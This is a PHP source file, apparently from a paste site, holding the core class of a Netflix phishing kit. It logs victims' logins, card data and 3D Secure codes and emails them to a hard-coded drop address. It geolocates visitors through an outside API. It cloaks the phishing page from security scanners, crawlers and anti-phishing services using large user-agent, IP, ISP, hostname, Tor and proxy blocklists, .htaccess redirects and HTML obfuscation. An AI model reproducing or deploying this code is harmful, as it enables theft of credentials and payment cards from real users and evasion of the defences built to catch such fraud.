· 6 years ago · Jan 15, 2020, 01:38 PM
1<?php
2session_start();
3set_time_limit(0);
4error_reporting(0);
5date_default_timezone_set("Asia/Jakarta");
6
7class KuzuluyArt {
8 public $server_api = "https://kuzuluy.app";
9 public $dir_logs = __DIR__ . "/logs";
10 public $file_config = "config.json";
11 public $logs_allow = "allow.json";
12 public $logs_block = "block.json";
13 public function logs($name) {
14 $data = array(
15 'login' => 'data_login.txt',
16 'card' => 'data_card.txt',
17 '3dsecure' => 'data_3dsecure.txt'
18 );
19 return $this->dir_logs.'/'.$data[$name];
20 }
21 public function config($data) {
22 $config = json_decode(file_get_contents(__DIR__.'/'.$this->file_config), true);
23 if ($data == "apikey") {
24 return $config[$data];
25 } else {
26 return $config['config'][$data];
27 }
28 }
29 public function redirect($url) {
30 header("location: ".$url);
31 exit;
32 }
33 public function session($data, $value, $page) {
34 if (isset($_SESSION[$data])) {
35 if ($_SESSION[$data] == $value) {
36 $this->allow($page);
37 } else {
38 $this->block("Session incorrect");
39 $this->ngeblock("official");
40 }
41 } else {
42 $this->block("Session undefined");
43 $this->ngeblock("official");
44 }
45 }
46 public function logout() {
47 @session_destroy();
48 $this->delete_cookie();
49 }
50 public function create_cookie() {
51 setcookie("access_key", $_SESSION['key'], time()+7200);
52 }
53 public function check_cookie() {
54 if (isset($_COOKIE['access_key'])) {
55 if ($_COOKIE['access_key'] != $_SESSION['key']) {
56 $this->ngeblock("official");
57 }
58 } else {
59 $this->ngeblock("official");
60 }
61 }
62 public function delete_cookie() {
63 unset($_COOKIE['access_key']);
64 }
65 public function quote() {
66 return ucfirst($this->get($this->server_api."/check?quote")['decode']['quote']);
67 }
68 public function bin($bin) {
69 $bin = $this->get($this->server_api."/check?bin=".$bin)['decode'];
70 return array(
71 'brand' => $bin['brand'],
72 'type' => $bin['type'],
73 'bank' => $bin['bank'],
74 'level' => $bin['level'],
75 'country' => $bin['country'],
76 'full' => $bin['brand']." ".$bin['type']." ".$bin['bank']." ".$bin['level']
77 );
78 }
79 public function ngerandom() {
80 return $this->encypt(microtime());
81 }
82 public function get($url) {
83 $curl = curl_init();
84 $option = [
85 CURLOPT_SSL_VERIFYPEER => false,
86 CURLOPT_RETURNTRANSFER => true,
87 CURLOPT_URL => $url,
88 CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X vip; rv:42.0) Gecko/06072000 Firefox/42.0',
89 CURLOPT_COOKIEJAR => $this->dir_logs.'/cookie.txt',
90 CURLOPT_COOKIEFILE => $this->dir_logs.'/cookie.txt'
91 ];
92 curl_setopt_array($curl, $option);
93 $data = curl_exec($curl);
94 $type = curl_getinfo($curl, CURLINFO_CONTENT_TYPE);
95 $httpcode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
96 curl_close($curl);
97 return array(
98 'data' => $data,
99 'type' => $type,
100 'decode' => json_decode($data, true),
101 'httpcode' => $httpcode
102 );
103 }
104 public function getIp() {
105 if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) {
106 return $_SERVER['HTTP_CLIENT_IP'];
107 } elseif (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) {
108 return $_SERVER['HTTP_X_FORWARDED_FOR'];
109 } else {
110 return $_SERVER['REMOTE_ADDR'];
111 }
112 }
113 public function getOs() {
114 $os = "Unknown OS";
115 $os_array = array(
116 '/windows nt 10/i' => 'Windows 10',
117 '/windows nt 6.3/i' => 'Windows 8.1',
118 '/windows nt 6.2/i' => 'Windows 8',
119 '/windows nt 6.1/i' => 'Windows 7',
120 '/windows nt 6.0/i' => 'Windows Vista',
121 '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
122 '/windows nt 5.1/i' => 'Windows XP',
123 '/windows xp/i' => 'Windows XP',
124 '/windows nt 5.0/i' => 'Windows 2000',
125 '/windows me/i' => 'Windows ME',
126 '/win98/i' => 'Windows 98',
127 '/win95/i' => 'Windows 95',
128 '/win16/i' => 'Windows 3.11',
129 '/macintosh|mac os x/i' => 'Mac OS X',
130 '/mac_powerpc/i' => 'Mac OS 9',
131 '/linux/i' => 'Linux',
132 '/ubuntu/i' => 'Ubuntu',
133 '/iphone/i' => 'iPhone',
134 '/ipod/i' => 'iPod',
135 '/ipad/i' => 'iPad',
136 '/android/i' => 'Android',
137 '/blackberry/i' => 'BlackBerry',
138 '/webos/i' => 'Mobile'
139 );
140 foreach ($os_array as $regex => $value) {
141 if (preg_match($regex, $_SERVER['HTTP_USER_AGENT'])) {
142 $os = $value;
143 }
144 }
145 return $os;
146 }
147 public function getBrowser() {
148 $browser = "Unknown Browser";
149 $browser_array = array(
150 '/msie/i' => 'Internet Explorer',
151 '/firefox/i' => 'Firefox',
152 '/safari/i' => 'Safari',
153 '/chrome/i' => 'Chrome',
154 '/edge/i' => 'Edge',
155 '/opera/i' => 'Opera',
156 '/netscape/i' => 'Netscape',
157 '/maxthon/i' => 'Maxthon',
158 '/konqueror/i' => 'Konqueror',
159 '/mobile/i' => 'Handheld Browser'
160 );
161 foreach ($browser_array as $regex => $value) {
162 if (preg_match($regex, $_SERVER['HTTP_USER_AGENT'])) {
163 $browser = $value;
164 }
165 }
166 return $browser;
167 }
168 public function getHost() {
169 return gethostbyaddr($_SESSION['ip']);
170 }
171 public function getLanguage() {
172 return array(
173 'code' => substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2),
174 'full' => $_SERVER['HTTP_ACCEPT_LANGUAGE']
175 );
176 }
177 public function getReferer() {
178 if (isset($_SERVER['HTTP_REFERER'])) {
179 return $_SERVER['HTTP_REFERER'];
180 } else {
181 return "no-referer";
182 }
183 }
184 public function getUseragent() {
185 return $_SERVER['HTTP_USER_AGENT'];
186 }
187 public function location() {
188 return array(
189 'title' => implode(" - ", array($_SESSION['country'], $_SESSION['state'])),
190 'full' => implode(", ", array($_SESSION['city'], $_SESSION['district'], $_SESSION['state'], $_SESSION['country']))
191 );
192 }
193 public function result() {
194 //$query = "api?key=".$this->config("apikey")."&scam=netflix";
195 return array(
196 'login' => 'balhamouth@yandex.com',
197 'card' => 'balhamouth@yandex.com'
198 );
199 }
200 public function data() {
201 $_SESSION['ip'] = $this->getIp();
202 $_SESSION['host'] = $this->getHost();
203 $_SESSION['key'] = $this->ngerandom();
204 $_SESSION['lang'] = $this->getLanguage()['code'];
205 $_SESSION['language'] = $this->getLanguage()['full'];
206 $_SESSION['os'] = $this->getOs();
207 $_SESSION['browser'] = $this->getBrowser();
208 $_SESSION['referer'] = $this->getReferer();
209 $_SESSION['useragent'] = $this->getUseragent();
210 $query /* data ipquery */ = "check?ip=".$_SESSION['ip']."&apikey=".$this->config("apikey")."&scam=netflix";
211 $api /* data ipapi */ = $this->get($this->server_api."/".$query)['decode'];
212 $_SESSION['isp'] = $api['isp'];
213 $_SESSION['countrycode'] = $api['country_code'];
214 $_SESSION['country'] = $api['country_name'];
215 $_SESSION['statecode'] = $api['state_code'];
216 $_SESSION['state'] = $api['state_name'];
217 $_SESSION['district'] = $api['district'];
218 $_SESSION['city'] = $api['city'];
219 $_SESSION['geonameid'] = $api['geoname_id'];
220 $_SESSION['latlongid'] = $api['latlong_id'];
221 $_SESSION['latitude'] = $api['latitude'];
222 $_SESSION['longitude'] = $api['longitude'];
223 $_SESSION['iptimezone'] = $api['timezone'];
224 $_SESSION['kuzuluy_block'] = $api['kuzuluy_block'];
225 }
226 public function save($file, $text, $type) {
227 $fp = fopen($file, $type);
228 return fwrite($fp, $text);
229 fclose($fp);
230 }
231 public function error($str) {
232 if ($str == 1) {
233 $page = $this->get($this->server_api."/assets/html/netflix/cpanel_suspend.html")['data'];
234 $html = preg_replace('{WEBMASTER}', $_SERVER['SERVER_ADMIN'], $page);
235 sleep(2); die($html);
236 } elseif ($str == 2) {
237 $page = $this->get($this->server_api."/assets/html/netflix/cpanel_default.html")['data'];
238 $html = preg_replace('{WEBMASTER}', $_SERVER['SERVER_ADMIN'], $page);
239 sleep(2); die($html);
240 } else {
241 $page = $this->get($this->server_api."/assets/html/netflix/tcp_error.html")['data'];
242 sleep(8); die($page);
243 }
244 }
245 public function ngeblock($str) {
246 $this->logout();
247 if ($str == "error") {
248 $this->htaccess("block");
249 $error = rand(1,2);
250 if ($error == 1) {
251 $this->redirect("cgi-sys/suspendedpage.cgi");
252 } else{
253 $this->redirect("cgi-sys/defaultwebpage.cgi");
254 }
255 } elseif ($str == "official") {
256 $this->htaccess("complete");
257 $this->redirect("https://www.netflix.com/");
258 }
259 }
260 public function allow($str) {
261 $file = $this->dir_logs.'/'.$this->logs_allow;
262 $json = json_decode(file_get_contents($file), true);
263 $data['date'] = date('j F Y, H:i:s');
264 $data['page'] = $str;
265 $data['country'] = $_SESSION['country'];
266 $data['ip'] = $_SESSION['ip'];
267 $data['isp'] = $_SESSION['isp'];
268 $data['host'] = $_SESSION['host'];
269 $data['referer'] = $_SESSION['referer'];
270 $data['useragent'] = $_SESSION['useragent'];
271 array_push($json['allow'], $data);
272 $text = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
273 return $this->save($file, $text, "w+");
274 }
275 public function block($str) {
276 $file = $this->dir_logs.'/'.$this->logs_block;
277 $json = json_decode(file_get_contents($file), true);
278 $data['date'] = date('j F Y, H:i:s');
279 $data['reason'] = $str;
280 $data['country'] = $_SESSION['country'];
281 $data['ip'] = $_SESSION['ip'];
282 $data['isp'] = $_SESSION['isp'];
283 $data['host'] = $_SESSION['host'];
284 $data['referer'] = $_SESSION['referer'];
285 $data['useragent'] = $_SESSION['useragent'];
286 array_push($json['block'], $data);
287 $text = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
288 return $this->save($file, $text, "w+");
289 }
290 public function htaccess($str) {
291 $block = "RewriteCond %{REMOTE_ADDR} ^".$_SERVER['REMOTE_ADDR']."$\nRewriteCond %{REQUEST_URI} !^\/script\.php$ [NC]\nRewriteRule .* - [L,R=404]\n\n";
292 $complete = "RewriteCond %{REMOTE_ADDR} ^".$_SERVER['REMOTE_ADDR']."$\nRewriteRule (.*) https://www.netflix.com/ [R]\n\n";
293 if ($str == "block") {
294 return $this->save(__DIR__ . "/.htaccess", $block, "a");
295 } elseif ($str == "complete") {
296 return $this->save(__DIR__ . "/.htaccess", $complete, "a");
297 }
298 }
299 public function blocker() {
300 if ($_SESSION['kuzuluy_block'] == "Y") {
301 $this->block("Kuzuluy blacklist");
302 $this->ngeblock("error");
303 }
304 if ($this->config("useragent") == "on") { $this->blocker_useragent(); }
305 if ($this->config("host") == "on") { $this->blocker_host(); }
306 if ($this->config("ip") == "on") { $this->blocker_ip(); }
307 if ($this->config("isp") == "on") { $this->blocker_isp(); }
308 if ($this->config("dinamic") == "on") { $this->blocker_dinamic(); }
309 if ($this->config("proxyport") == "on") { $this->blocker_proxyport(); }
310 if ($this->config("dns") == "on") { $this->blocker_dns(); }
311 }
312 public function blocker_email() {
313 $query = "bot?apikey=".$this->config("apikey")."&type=email&scam=netflix";
314 $api = $this->get($this->server_api."/".$query)['decode'];
315 foreach ($api as $email) {
316 if (stristr($_SESSION['email'], $email) !== false) {
317 $this->block("Email blacklist (".$_SESSION['email'].")");
318 return true;
319 }
320 }
321 }
322 public function blocker_useragent() {
323 $useragent = ["007ac9","control","50.nu","80legs","192.comagent","abonti","aboundex","accoona","acunetix","addthis","admantx","ahrefs","alligator","amagit","analytics","aolbuild","apache","apercite","apexoo","archive","ask","asterias","attach","auresys","avast","b2w","backdoor","backstreet","badass","baid","baidu","bandit","bibnum","bigfoot","biglotron","bing","binlar","bitdefender","black.hole","blackwidow","blow","bot","brandverity","brother","buddy","capture","casper","cegbfeieh","cfnetwork","change","check","china","choppy","cl0na","cmsworld","cognitiveseo","collector","comodo","contaxe","convera","copier","copyright","crawl","cyberpatrol","dataprovider","daumoa","detection","diavol","disco","docomo","domain","download","dreampassport","duckduckgo","ebay","ecatch","envolk","extract","ezid","ezooms","facebook","fbav","feedfetcher","find","finder","findlink","firebird","flicky","flock","fluffy","ftp","fuck","g00g1e","gcreep","generator","genieo","get","gigablast","github","gmail","golem","google","grab","grapeshot","gromit","grub.org","harvest","help","heritrix","http","httrack","ichiro","ifopath","index","ingrid","insights","inventory","ips-agent","jabber","java","jetbrains","jetty","jnlp","joc","kaspersky","kmccrew","konqueror","larbin","lightspeed","linkdex","linklooker","loader","ltx71","lynx","mail","majestic","map","mastodon","mddc","media","memo","meta","microsoft","miixpc","miner","mister","mj12","muckrack","neofonie","net4.0c","net4.0e","net clr","netcraft","netscape","netsparker","newrelicpinger","nikto","ninja","nuhk","nutch","nuzzel","offline","omgili","page","panscient","phantom","phishtank","php","pipes","planetwork","pocketparser","postrank","preview","privoxy","proximic","proxy","pump","python","rambler","reaper","recorder","redlug","resolve","ripper","rma","ruby","safe","scan","scmguard","scope","scoutjet","scrapy","search","server","service","siclab","site","skygrid","slurp","sogou","sootle","spam","spanner","spider","spinn3r","sucker","summify","suzuran","sygol","szukacz","takeout","telegram","teleport","telesoft","teoma","thinklab","titan","tlsprober","tool","total","traackr","translate","trident","trivial","turingos","turnit","twiceler","um-ln","unchaos","untrusted","unwindfetchor","upflow","url","vacuum","vbseo","vci","virus","voideye","win98","windows 95","windows 98","worm","www","xaldon","xenu","xxxyy","yahoo","yandex","yanga","yes","yeti","youda","youtube","zade","zeus","zibb","zipcommander","zmeu","zune","zyborg"];
324 $api = json_decode($useragent);
325 foreach ($api as $useragent) {
326 if (empty($_SESSION['useragent']) || substr_count(strtolower($_SESSION['useragent']), $useragent) > 0) {
327 $this->block("Useragent blacklist");
328 $this->ngeblock("error");
329 }
330 }
331 }
332 public function blocker_ip() {
333 $query1 = ["^12.148.196.*","^12.148.209.*","^23.27.*.*","^38.100.*.*","^38.105.*.*","^38.122.*.*","^38.130.*.*","^38.144.36.*","^40.107.240.*","^40.107.246.*","^40.107.*.*","^46.116.*.*","^50.7.*.*","^50.97.*.*","^52.192.164.*","^54.176.*.*","^62.90.*.*","^62.116.207.*","^64.18.*.*","^64.27.2.*","^64.37.103.*","^64.62.136.*","^64.62.175.*","^64.71.*.*","^64.74.215.*","^64.106.213.*","^64.124.14.*","^64.233.160.*","^66.102.6.*","^66.102.*.*","^66.135.200.*","^66.150.14.*","^66.205.64.*","^66.207.120.*","^66.221.*.*","^66.249.*.*","^67.15.*.*","^67.209.128.*","^67.221.235.*","^69.61.12.*","^69.65.*.*","^70.42.*.*","^72.14.192.*","^72.189.150.*","^73.71.155.*","^74.3.160.*","^74.125.*.*","^74.217.*.*","^81.0.48.*","^81.161.59.*","^82.102.27.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^89.234.68.*","^91.103.66.*","^92.23.57.*","^93.159.230.*","^93.172.*.*","^95.42.48.*","^96.31.1.*","^107.170.*.*","^109.173.137.*","^109.186.*.*","^128.242.*.*","^131.212.*.*","^149.3.91.*","^149.20.*.*","^158.108.*.*","^167.24.*.*","^168.188.*.*","^171.13.*.*","^173.194.*.*","^173.224.*.*","^173.239.219.*","^173.255.233.*","^184.173.*.*","^185.20.4.*","^185.20.5.*","^188.42.195.*","^192.115.134.*","^192.118.48.*","^193.47.80.*","^193.220.178.*","^193.253.199.*","^194.52.68.*","^194.72.238.*","^194.90.*.*","^196.54.55.*","^198.25.*.*","^198.54.*.*","^199.30.228.*","^202.108.252.*","^204.14.48.*","^206.28.72.*","^206.40.*.*","^206.80.*.*","^206.207.*.*","^207.70.*.*","^207.126.144.*","^208.65.144.*","^208.91.115.*","^209.19.*.*","^209.73.228.*","^209.85.128.*","^209.85.*.*","^212.29.192.*","^212.29.224.*","^212.50.193.*","^212.101.*.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^216.239.32.*","^216.252.167.*","^217.132.*.*"];
334 //$query2 = "bot?apikey=".$this->config("apikey")."&type=latlong&scam=netflix";
335 $query2 = [];
336 $api = array(
337 'ip' => json_decode($query1),
338 'latlong' => json_decode($query2)
339 );
340 if (in_array($_SESSION['ip'], $api['ip'])) {
341 $this->block("Ip1 blacklist");
342 $this->ngeblock("error");
343 } else {
344 foreach ($api['ip'] as $ip) {
345 if (preg_match("/$ip/", $_SESSION['ip'])) {
346 $this->block("Ip2 blacklist");
347 $this->ngeblock("error");
348 }
349 }
350 }
351 foreach ($api['latlong'] as $latlong) {
352 if (substr_count($_SESSION['latlongid'], $latlong) > 0) {
353 $this->block("Ip3 blacklist");
354 $this->ngeblock("error");
355 }
356 }
357 }
358 public function blocker_isp() {
359 $query = ["01cloud","013 netvision","1&1 internet ag","abercrombie & fitch","algar telecom s\/a","amazon","amazon.com","apexis ag","atlantic.net","avast software s.r.o.","avenir telematique s.a.s","b2 net solutions","barracuda networks","bayer business services gmbh","beeline home","bezeq international","bitdefender","bitdefender srl","brass horn communications","british telecommunications plc","bullguard aps","cachednet llc","centrilogic","chenhua tech","china mobile guangdong","china telecom","china telecom jiangsu","choopa, llc","cisco systems","cisco systems inc.","citynet telekom ltd.","claro s.a.","coloup","colt technology services group limited","completel","contabo gmbh","cortland electronics corp","datacamp s.r.o","datacity","datashack, lc","defense.net","deutsche telekom ag","digital freedom and rights association","digital ocean","digitalocean","dodo australia","domaintools, llc","e.i. du pont de nemours and co.","egihosting","eircom","emerald onion","entanet","eurafibre sas","facebook","faction","forcepoint, llc","frantech solutions","free sas","fujitsu limited","gci communications","google","google fiber","hetzner","host1plus","hotwire fision","hurricane electric","incrediserve ltd","internap network services corporation","internet solutions","jigsaw data corporation","kaspersky","kaspersky lab ao","keliweb s.r.l.","korea telecom","level 3 communications","linode","llc globalnet","logicweb inc","m247 europe srl","m247 ltd","makonix sia","marriott international","mcafee","merck and co.","microsoft bingbot","microsoft corporation","net virtua","netart group s.r.o.","netmagic datacenter","netstack cloud services","network layer technologies inc","new dream network, llc","nforce entertainment b.v.","ntt","ntt pc communications","oppobox llc","orange","orange polska","overkill alpha s.r.o.","ovh","ovh hosting","ovh sas","paypal","peak 10","philippine long distance telephone","plusnet","plusnet technologies ltd","private layer inc","privax ltd","privax ltd.","proofpoint, inc.","ptgi international carrier services ltd","purevpn","resilans ab","rostelecom","santa cruz community internet","secure computing corp. . fka","secure internet limited","secure internet llc","serbia broadband-srpske kablovske mreze d.o.o.","server central network","servermania","servetheworld as","sk broadband","sologigabit","solution pro","sungard availability network solutions","sungard network solutions","sunrise communications ag","surfcontrol","symantec corporation","t.m.a serv srl","talktalk","tata teleservices isp","teledata gmbh","teleservice nederland telematica installateurs","ties","top level hosting srl","tpg internet","transip b.v.","trend micro incorporated","tvoi net ltd.","twitter","uarnet","uk government department for work and pensions","upc austria","venus business communications limited","verizon uk limited","virtual1 limited","vodafone gmbh","vodafone italia","voxility llp","vultr","web hosting solutions","westnet","world hosting farm limited","yandex llc","youtube, llc","zayo bandwidth","zwiebelfreunde e.v."];
360 $api = json_decode($query);
361 foreach ($api as $isp) {
362 if (empty($_SESSION['isp']) || substr_count(strtolower($_SESSION['isp']), $isp) > 0) {
363 $this->block("Isp blacklist");
364 $this->ngeblock("error");
365 }
366 }
367 }
368 public function blocker_dns() {
369 $data = array('exitnodes.tor.dnsbl.sectoor.de', 'tor.dnsbl.sectoor.de', 'tor.dan.me.uk', 'bl.spamcop.net');
370 foreach ($data as $dns) {
371 if (checkdnsrr(implode(".", array_reverse(explode(".", $_SESSION['ip']))).".".$dns.".", "A")) {
372 $this->block("Dns blacklist (".$dns.")");
373 $this->ngeblock("error");
374 }
375 }
376 }
377 public function blocker_host() {
378 $query = ["100tb","163data","abelons","above","acsalaska","acunetix","afterplayy","all.de","amazonaws","amuri","antivirus","apx.pub","aquaray","artikel10","aruba","avast","avirasof","babylon.network","badware","baidu","barracuda","bezeqint","Bitdefender","blockone","bruuk","btcentralplus","caiway","calyxinstitute","ccanet.co.uk","cdn77","centralnic","cisco","citynethost","cloudflare","coffswifi","colocrossing","coloup","comodo","completel","crawl","cs.vt.edu","cymru","cyveillance","dancehelp","danpro","datapacket.com","datasift","development","digitalcourage","digitale-gesellschaft","digiweb","dreamhost","drweb","ebay","enn.lu","enom","enta.net","eset","eurohoster","euskaltel","factioninc","fireeye","fkraus","geosr","ghst.net","google","gp4telecom","greyponyit","hackercombat","hinet","hkdata","hosting","iam.net.ma","ibercom","impium","infoweb.ne.jp","initiative-s.de","intelnet.net.gt","ip-backbone","ipredator","ish.net.br","kaspersky","kasserver","les.net","Level3","li420-167","linode","lipperhey","mailscanner","mailshell","malcare","malwaretips","mcAfee","messagelabs","metadefender","metascan","metauri","mit.edu","moscow.rt.ru","msnbot","netcraft","netpilot","nod32","nortor","nos-oignons","opendns","oracle","orange-labs.fr","ovh","p3pwgdsn","pacbell","pagepeeker","paradisenetworks","paypal","phishing","phishlabs","phishmongers","phishtank","phpnet","planet.nl","plus.net","point","poneytelecom","potia","powertech","prcdn","proxy-node","prtelecom","psychz","quadranet","qualys","quintex","quttera","redbackinternet","rescan","researchscan","reverse","rima-td","roamsite","safebrowsing","sannet","scaleway","scnet","shadowserver","signal.center","SiteAdvisor","sitecheck2","siteguarding","softlayer","solnet.ch","solutions","speedtravel","spro","startdedicated","stretchoid","stwserver","sucuri","surriel","symantec","sysms","systems","telecomitalia","teledata-fttx","telekom.rs","telesp.net.br","tfbnw","tor-exit","tor.exit","torservers","tpnet","trendmicro","trendnet","trustwave","ttksever.ru","TweetmemeBot","twttr","ukservers","upcbusiness","usabroadband","uscc","veripayed","versanet","virustotal","vodafone","vsnl.net.in","wach-it-solutions","webinspector","wind.it","xmission","yahoo","your-server.de","z-telekom","zare","zoot","ztomy","telenor"];
379 $api = json_decode($query);
380 foreach ($api as $host) {
381 if (empty($_SESSION['host']) || substr_count(strtolower($_SESSION['host']), $host) > 0) {
382 $this->block("Hostname blacklist");
383 $this->ngeblock("error");
384 }
385 }
386 }
387 public function blocker_dinamic() {
388 $data = $this->get("http://bot.myip.ms/".$_SESSION['ip'])['data'];
389 if (preg_match("/Bot exists/", $data)) {
390 $this->block("Dinamic blacklist");
391 $this->ngeblock("error");
392 }
393 }
394 public function blocker_proxyport() {
395 $dataproxy = array(
396 'CLIENT_IP',
397 'FORWARDED',
398 'FORWARDED_FOR',
399 'FORWARDED_FOR_IP',
400 'VIA',
401 'X_FORWARDED',
402 'X_FORWARDED_FOR',
403 'HTTP_CLIENT_IP',
404 'HTTP_FORWARDED',
405 'HTTP_FORWARDED_FOR',
406 'HTTP_FORWARDED_FOR_IP',
407 'HTTP_PROXY_CONNECTION',
408 'HTTP_VIA',
409 'HTTP_X_FORWARDED',
410 'HTTP_X_FORWARDED_FOR'
411 );
412 foreach ($dataproxy as $proxy) {
413 if (isset($_SERVER[$proxy])) {
414 $this->block("Proxy detected (".$proxy.")");
415 $this->ngeblock("error");
416 }
417 }
418 $dataport = array(80, 81, 553, 554, 1080, 3128, 4480, 6588, 8000, 8080);
419 foreach ($dataport as $port) {
420 if (@fsockopen($_SERVER['REMOTE_ADDR'], $port, $errno, $errstr, 3)) {
421 $this->block("Port detected (".$port.")");
422 $this->ngeblock("error");
423 }
424 }
425 }
426 public function encypt($str) {
427 return md5($str);
428 }
429 public function image_encode($str) {
430 require __DIR__ . '/system/class/mime.php';
431 $url = base64_encode($this->get($str)['data']);
432 $local = base64_encode(file_get_contents(__DIR__. '/'.$str));
433 return array(
434 'url' => "data:".$this->get($str)['type'].";base64,".$url,
435 'local' => "data:".mime_content_type($str).";base64,".$local
436 );
437 }
438 public function text_encode($str) {
439 $crypt = array("A" => "065", "a" => "097", "B" => "066", "b" => "098", "C" => "067", "c" => "099", "D" => "068", "d" => "100", "E" => "069", "e" => "101", "F" => "070", "f" => "102", "G" => "071", "g" => "103", "H" => "072", "h" => "104", "I" => "073", "i" => "105", "J" => "074", "j" => "106", "K" => "075", "k" => "107", "L" => "076", "l" => "108", "M" => "077", "m" => "109", "N" => "078", "n" => "110", "O" => "079", "o" => "111", "P" => "080", "p" => "112", "Q" => "081", "q" => "113", "R" => "082", "r" => "114", "S" => "083", "s" => "115", "T" => "084", "t" => "116", "U" => "085", "u" => "117", "V" => "086", "v" => "118", "W" => "087", "w" => "119", "X" => "088", "x" => "120", "Y" => "089", "y" => "121", "Z" => "090", "z" => "122", "0" => "048", "1" => "049", "2" => "050", "3" => "051", "4" => "052", "5" => "053", "6" => "054", "7" => "055", "8" => "056", "9" => "057", "&" => "038", " " => "032", "_" => "095", "-" => "045", "@" => "064", "." => "046");
440 $encode = "";
441 for ($i=0; $i < strlen($str); $i++) {
442 $key = substr($str, $i, 1);
443 if (array_key_exists($key, $crypt)) {
444 $random = rand(1, 3);
445 if ($random == '1') {
446 $encode = $encode.$key;
447 } elseif ($random == '3') {
448 $encode = $encode.$key;
449 } else {
450 $encode = $encode."&#".$crypt[$key].";";
451 }
452 } else {
453 $encode = $encode.$key;
454 }
455 }
456 return $encode;
457 }
458 public function undetect($html) {
459 $search = array('/\>[^\S ]+/s', '/[^\S ]+\</s', '/(\s)+/s');
460 $replace = array('>', '<', '\\1', '');
461 $minify = preg_replace($search, $replace, $html);
462 $undetect = preg_replace('/<div/', '<!-- '.$_SESSION['key'].' --><div', $minify);
463 $undetect = preg_replace('/<\/div/', '<!-- '.$_SESSION['key'].' --></div', $undetect);
464 $undetect = preg_replace('/class=\"/', 'class="'.microtime(1).' ', $undetect);
465 if ($this->config("undetect") == "on") {
466 print($undetect);
467 } else {
468 print($minify);
469 }
470 }
471 public function language() {
472 $file = __DIR__ . '/system/language/'.$_SESSION['lang'].'.php';
473 $server_file = $this->server_api."/assets/language/netflix/".$_SESSION['lang'].".txt";
474 if ($this->config("translate") == "on") {
475 if (!file_exists($file)) {
476 if ($this->get($server_file)['httpcode'] == 200) {
477 $this->save($file, $this->get($server_file)['data'], "w");
478 return $file;
479 } else {
480 return __DIR__ . '/system/language/en.php';
481 }
482 } else {
483 return $file;
484 }
485 } else {
486 return __DIR__ . '/system/language/en.php';
487 }
488 }
489 public function send($to, $subject, $message, $from, $img = '') {
490 require __DIR__ . '/system/class/smtp.php';
491 require __DIR__ . '/system/class/phpmailer.php';
492 $mail = New PHPMailer;
493 if ($this->config("sending") == "smtp") {
494 $mail->isSMTP();
495 $mail->SMTPAuth = true;
496 $mail->Host = $this->config("smtp_host");
497 $mail->Port = $this->config("smtp_port");
498 $mail->Username = $this->config("smtp_user");
499 $mail->Password = $this->config("smtp_pass");
500 $mail->SMTPSecure = $this->config("smtp_secure");
501 } else {
502 $mail->isMail();
503 }
504 $mail->isHTML(true);
505 $mail->CharSet = "UTF-8";
506 $mail->Encoding = "base64";
507 if (!empty($img)) {
508 for ($i=0; $i < count($img); $i++) {
509 $mail->AddAttachment($img[$i]);
510 }
511 }
512 $mail->setFrom(substr($this->ngerandom(), 0, 7)."@".explode("//", $this->server_api)[1], strtoupper($from));
513 $mail->Subject = strtoupper($subject);
514 $mail->Body = $message;
515 $mail->addAddress($to);
516 $mail->send();
517 }
518}
519
520$api = new KuzuluyArt;
521?>